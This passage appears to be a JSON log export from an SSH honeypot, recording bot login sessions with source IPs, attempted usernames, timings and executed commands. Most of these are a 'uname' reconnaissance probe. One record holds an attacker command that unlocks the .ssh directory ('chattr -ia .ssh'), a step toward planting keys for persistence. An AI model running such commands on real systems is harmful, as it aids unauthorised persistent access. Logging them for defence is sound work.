  "src_ip": "91.92.40.217",
  "src_port": 57496,
  "username": "sysupdate",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:25:24.965287+00:00",
  "ended_at": "2026-08-27T02:25:27.429062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "71aae125-97a1-443b-8699-0ea503639375",
  "name": "barren-leafy-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35728,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 385,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:24.363047+00:00",
  "ended_at": "2026-08-27T02:25:27.470938+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4b85b0c-eac4-4dac-af52-e463944ef8e6",
  "name": "courtly-granite-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60954,
  "username": "sysupdate",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:18.764696+00:00",
  "ended_at": "2026-08-27T02:25:27.430389+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "4b65e0e4-19b0-48f6-8f38-c613bad55ec7",
  "name": "burly-austere-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55958,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:02.137641+00:00",
  "ended_at": "2026-08-27T02:25:05.114983+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "205c690f-2ab3-45cb-9c2a-d66df1292e42",
  "name": "burly-nimble-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55914,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 337,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:52.803865+00:00",
  "ended_at": "2026-08-27T02:24:58.271710+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8f39066d-5a5b-4b9a-a737-0e8bbffdc827",
  "name": "silent-distant-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34898,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:51.578615+00:00",
  "ended_at": "2026-08-27T02:24:55.238110+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "43f92442-b6d4-4683-ad6b-354ec8e6feb1",
  "name": "amiable-lonesome-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39484,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:46.364641+00:00",
  "ended_at": "2026-08-27T02:24:52.376769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea5782f1-77c1-4214-964d-afe52b792369",
  "name": "blithe-arctic-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41894,
  "username": "clawdbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:24:46.060379+00:00",
  "ended_at": "2026-08-27T02:24:49.290932+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36573d87-b530-48ad-bd06-8ada8eccdd8b",
  "name": "inland-upland-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39412,
  "username": "clawdbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:41.200897+00:00",
  "ended_at": "2026-08-27T02:24:49.293621+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "fe023504-c729-4739-afeb-d53654bfffcf",
  "name": "ashen-snowy-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56230,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 367,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:32.448599+00:00",
  "ended_at": "2026-08-27T02:24:37.907398+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4d4b49e4-0704-44e0-8a56-79812bfaa858",
  "name": "lawful-blazing-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49494,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:24.222525+00:00",
  "ended_at": "2026-08-27T02:24:29.510218+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e3f46fa-2186-4729-b5da-046efbd12f0b",
  "name": "brave-lively-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49396,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:20.622529+00:00",
  "ended_at": "2026-08-27T02:24:23.639126+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "38cb2579-005c-4efc-94e6-15cfcb2c79c5",
  "name": "lunar-crisp-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60934,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:24:17.354514+00:00",
  "ended_at": "2026-08-27T02:24:19.976492+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b665516-5510-49d7-924d-6b0fc51d9a19",
  "name": "painted-serene-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33640,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:12.536606+00:00",
  "ended_at": "2026-08-27T02:24:19.974913+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "bbfb45e5-1981-4a34-80ab-474bc3436298",
  "name": "watchful-honest-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 57042,
  "username": "chenyu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 562,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:24:11.138293+00:00",
  "ended_at": "2026-08-27T02:24:12.590042+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "66efd834-eff5-48b7-bd13-58246ac86a00",
  "name": "thawing-oaken-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43008,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:06.642540+00:00",
  "ended_at": "2026-08-27T02:24:11.928033+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a2585b96-224b-430d-84a3-e187d5b14c92",
  "name": "lonesome-lofty-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59386,
  "username": "chenyu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:23:55.088739+00:00",
  "ended_at": "2026-08-27T02:23:55.776718+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1caa84e0-c9dc-4fd8-a62a-b4a0b24ad459",
  "name": "orderly-hazy-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57328,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:53.287870+00:00",
  "ended_at": "2026-08-27T02:23:56.263968+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da7f7032-4d4e-4c66-b28d-1926f78aaf48",
  "name": "northern-painted-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57052,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:23:51.780690+00:00",
  "ended_at": "2026-08-27T02:23:53.111713+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a729684-2126-4333-bb1f-ffa67c7eda05",
  "name": "prairie-regal-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 39420,
  "username": "gitlab-runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:23:50.154748+00:00",
  "ended_at": "2026-08-27T02:23:53.968967+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00b94fd6-079b-4154-9d0f-c72d4e0929ed",
  "name": "velvet-rustic-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46684,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 495,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:48.673819+00:00",
  "ended_at": "2026-08-27T02:23:54.135691+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11c8ca05-3d98-4af1-a03f-17b80a8fc5d9",
  "name": "cunning-inland-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 418,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:48.395462+00:00",
  "ended_at": "2026-08-27T02:23:54.275652+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "700f6f0b-5647-45cd-a602-96d96c10002f",
  "name": "gnarled-glacial-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59366,
  "username": "gitlab-runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:46.378941+00:00",
  "ended_at": "2026-08-27T02:23:53.967237+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "dbfb7f90-7ca3-4ec9-b48d-aa7836d37f08",
  "name": "electric-tender-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56320,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:23:42.772624+00:00",
  "ended_at": "2026-08-27T02:23:45.238249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "581dc3e2-26c7-4365-845b-39eef2b85439",
  "name": "keen-diligent-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59272,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:38.727378+00:00",
  "ended_at": "2026-08-27T02:23:45.236963+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "33a4d3e0-635d-4f92-9592-b858e7036bd4",
  "name": "fickle-tender-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38308,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:24.367602+00:00",
  "ended_at": "2026-08-27T02:23:30.125329+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "de2ed1d4-6aee-4a69-9420-d606a634d618",
  "name": "airy-vigilant-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38204,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 342,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:17.157199+00:00",
  "ended_at": "2026-08-27T02:23:19.833071+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6317a301-2011-47ca-b2b6-c2187b697800",
  "name": "grumpy-steady-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33678,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:23:10.842991+00:00",
  "ended_at": "2026-08-27T02:23:14.376500+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0723a641-7c7d-4b51-9087-ebcd2daf77f5",
  "name": "forlorn-salty-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:10.370079+00:00",
  "ended_at": "2026-08-27T02:23:16.008747+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "95f8ad1b-e266-4d62-a114-d1cb9782b141",
  "name": "bronzed-valiant-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53418,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:05.466206+00:00",
  "ended_at": "2026-08-27T02:23:14.372837+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "7dcbec57-c01f-4895-82ae-f339bad1ecc5",
  "name": "graceful-solemn-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46744,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:03.827135+00:00",
  "ended_at": "2026-08-27T02:23:09.978576+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92fe4bff-37d2-4f98-8006-a000ad266fe4",
  "name": "hollow-crystal-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:57.000366+00:00",
  "ended_at": "2026-08-27T02:23:01.823907+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f8e57108-b2ed-46bd-b2a4-9dcd6a53b6be",
  "name": "chilly-prairie-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 46714,
  "username": "omm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:22:52.428691+00:00",
  "ended_at": "2026-08-27T02:22:55.051195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "303a71ba-a522-4af4-a511-033332660b76",
  "name": "loyal-feathered-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43386,
  "username": "omm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:45.965563+00:00",
  "ended_at": "2026-08-27T02:22:55.050048+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "3fc65892-290c-49cc-8a7a-cb4cfc76c1fc",
  "name": "blazing-prickly-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56520,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:35.838430+00:00",
  "ended_at": "2026-08-27T02:22:40.460773+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9400ba3d-4e2b-4a9b-818d-3721db43b1c4",
  "name": "russet-languid-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56450,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:25.568319+00:00",
  "ended_at": "2026-08-27T02:22:29.958463+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed98a13b-a4ca-48fe-bcd5-a9b21ccb908b",
  "name": "snowy-upland-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42568,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:21.470282+00:00",
  "ended_at": "2026-08-27T02:22:25.720003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "84eae8ff-545e-425f-a5bd-973f632e649a",
  "name": "faded-supple-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:15.116285+00:00",
  "ended_at": "2026-08-27T02:22:19.400189+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "59f7ed79-7fe7-4f23-9147-c19272d6629d",
  "name": "silent-honest-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55936,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:02.461565+00:00",
  "ended_at": "2026-08-27T02:22:08.428997+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3544b180-42c0-49b8-9954-b4434151a259",
  "name": "hazy-meadow-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55848,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:56.763363+00:00",
  "ended_at": "2026-08-27T02:22:02.364599+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "406224d4-c89d-454d-91b7-780201999550",
  "name": "foggy-hollow-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55086,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 383,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:51.043657+00:00",
  "ended_at": "2026-08-27T02:21:54.523250+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b5317276-e44e-4e2c-886b-1958531ac6ca",
  "name": "courtly-eager-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43374,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:21:48.129719+00:00",
  "ended_at": "2026-08-27T02:21:50.550835+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1420c50-22f7-4549-99cd-735437ede2a5",
  "name": "tranquil-pristine-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:46.297405+00:00",
  "ended_at": "2026-08-27T02:21:51.165905+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "854199a3-038d-4330-9641-8598bfa43310",
  "name": "fierce-earnest-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44426,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:40.680027+00:00",
  "ended_at": "2026-08-27T02:21:50.552472+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1664
 },
 {
  "id": "e4a50ca0-1eb9-4987-b4d3-b80baa763006",
  "name": "mighty-gleaming-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:24.752426+00:00",
  "ended_at": "2026-08-27T02:21:30.032845+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2976fcbb-8272-4ff5-9570-61a2b98afac0",
  "name": "thawing-opal-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44350,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:22.777765+00:00",
  "ended_at": "2026-08-27T02:21:26.019722+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7b42b849-b96f-4101-86d2-d5c68274826c",
  "name": "hearty-vernal-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 36668,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:21:18.949485+00:00",
  "ended_at": "2026-08-27T02:21:22.945501+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af0fc781-4a32-4748-906e-a907d9047226",
  "name": "buoyant-forlorn-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 357,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:18.909089+00:00",
  "ended_at": "2026-08-27T02:21:22.582699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5ce290f-8905-49cf-a7e3-6018bcd7c6af",
  "name": "lunar-gloomy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50502,
  "username": "a",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 336,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:16.951367+00:00",
  "ended_at": "2026-08-27T02:21:22.292151+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "337d4c9e-4e1a-4be1-a20b-31ab9a12f675",
  "name": "electric-opal-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40830,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 420,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:14.704632+00:00",
  "ended_at": "2026-08-27T02:21:22.944137+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "00eb50c8-5d87-4be8-831e-9d1c6b624778",
  "name": "rustic-rambling-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55900,
  "username": "test1",
